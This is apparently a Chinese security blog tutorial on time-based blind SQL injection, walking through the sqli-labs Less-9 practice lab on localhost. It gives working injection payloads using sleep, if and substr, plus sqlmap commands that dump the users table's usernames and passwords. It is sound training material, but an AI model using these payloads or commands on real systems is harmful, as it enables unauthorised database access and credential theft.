点我
SQL注入【时间盲注】
SQL注入【时间盲注】
时间盲注也称为延时注入
利用场景
如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到
但可以通过特定的输入,判断后台的执行时间,从而确定注入
所用函数
- sleep() 让程序挂起,单位秒
if(condition,value_if_true,value_if_false)
语法:当condition为真时,返回value_if_true,否则返回value_if_false
- length() 获取字符串的长度
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
- ascii() 把字符转换为ascii码值
靶场Less-9
1、进入靶场
2、输出错误参数,页面无变化
3、加上 and sleep()函数 尝试让页面休眠10秒
页面貌似延迟为2s
没有执行sleep()函数,猜想会不会是字符串型,换为' and sleep(10) -- q
执行成功,判断存在时间盲注
4、探测if语句是否可以使用
http://127.0.0.1/sqli/Less-9/?id=1' and if(1=2,sleep(20),null) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(1=1,sleep(20),null) -- q
5、if语句可以使用,进行判断版本号
http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q
版本号为5.0版本以上
6、判断当前数据库名
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) >120,null,sleep(5)) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) <120,null,sleep(5)) -- q
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q
得知第一个单词为s
按照以上步骤,依次猜解
最终得到当前数据库名为security
7、其他信息与上述步骤同理,一个一个猜解
8、由于太过于费事费力,可以使用自动化工具SQLMap
SQLMap跑时间盲注
使用 --technique 指定SQLMap探测技术
支持的探测方式有:
- B: 基于Boolean的盲注(Boolean based blind)
- Q: 内联查询(inlin queries)
- T:基于时间的盲注(time based blind)
- U: 联合查询(union query based)
- E: 错误(errorbased)
-time-sec参数设定延时时间,默认是5秒。
1、得出当前数据库名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db
2、得出security数据库下的表面
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables
3、跑 users表下面的字段
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users
--columns
4、跑出跑出users表中跑出id、username、password字段数据
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users
-C id,username,password --dump
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论